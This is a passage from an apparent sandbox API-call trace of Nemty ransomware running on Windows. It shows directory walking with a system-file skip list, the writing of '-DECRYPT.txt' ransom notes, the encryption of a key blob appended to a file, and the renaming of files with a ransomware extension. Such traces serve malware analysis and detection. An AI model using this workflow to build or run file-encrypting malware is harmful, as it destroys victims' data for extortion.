dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.699] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0179.699] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0179.699] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0179.699] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0179.699] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0179.699] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0179.699] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0179.699] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0179.699] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0179.699] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0179.699] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0179.699] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0179.699] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0179.699] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0179.699] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0179.699] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0179.699] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0179.699] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0179.699] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0179.699] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0179.699] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0179.699] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0179.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0179.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0179.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0179.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0179.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0179.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0179.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0179.700] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.700] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0179.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0179.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.700] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.703] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.703] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0179.704] CloseHandle (hObject=0x2e8) returned 1 [0179.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0179.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0179.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0179.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0179.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0179.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0179.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0179.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0179.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.705] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.705] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.705] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0179.706] CloseHandle (hObject=0x2e8) returned 1 [0179.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0179.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0179.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.706] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ec0c350, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ec0c350, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0179.706] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0179.706] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ec0c350, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ec0c350, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.706] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0179.707] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0179.707] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0179.707] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0179.707] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0179.707] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0179.707] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0179.707] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0179.707] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0179.707] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0179.707] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0179.707] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0179.707] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0179.707] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0179.707] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0179.707] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0179.707] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0179.707] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0179.707] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0179.707] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0179.707] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0179.707] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0179.707] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0179.707] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0179.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.707] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.707] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0179.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.707] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.707] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0179.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0179.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0179.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0179.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0179.708] Sleep (dwMilliseconds=0x5) [0179.710] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1ec324b0, dwHighDateTime=0x1d561e8)) [0179.710] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1ec324b0, dwHighDateTime=0x1d561e8)) [0179.710] GetLastError () returned 0xb7 [0179.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.710] GetLastError () returned 0xb7 [0179.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.710] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0179.710] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0179.710] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0179.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0179.710] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="UJedA43i1308WcwjT05k6TF3Lg61xmzIJzE5FLU77Gtx7/Nd2YVoYdGgYO1KVxYi\r\nWQgZYXURwi/X3plQSGs0RO98NZYgAVhcOTve37ffspIzadxCvxXjceEe/yMvyBlo\r\n9FYbCUQ9Uy+srzsESwpQbRawdMhPBkYGQ+BctsYDstPs16oXTw/LTQ4Kv/8Nv7C8\r\n9Ot4EdFr1DXN/5Uq+nHumBeKNa2FwGseZBOzSYRbKVDZCfFvYYCOSxTj619UESWV\r\nSHbM7JI0TTv8Et87YSXx7lG7oLaTCRn4yPvFIERzG+TG1NmHF2XdXJvfRd9fi8u9\r\nok1EZk/Gi7IINJ8x9ApAqw==\r\n", pcchString=0x653e29c) returned 1 [0179.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0179.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0179.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.710] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0179.711] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=38391) returned 1 [0179.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x95f0) returned 0x6352c48 [0179.711] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.711] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x95f0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x95f0, lpOverlapped=0x0) returned 1 [0179.715] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.715] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x95f0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x95f0, lpOverlapped=0x0) returned 1 [0179.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.716] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=38391, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x95f7 [0179.716] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0179.716] CloseHandle (hObject=0x2f0) returned 1 [0179.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0179.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0179.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0179.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0179.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.716] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0179.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0179.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0179.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0179.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.717] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0179.717] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0179.717] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0179.717] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0179.717] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0179.717] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0179.717] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0179.717] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0179.717] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0179.717] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0179.717] lstrcmpiW 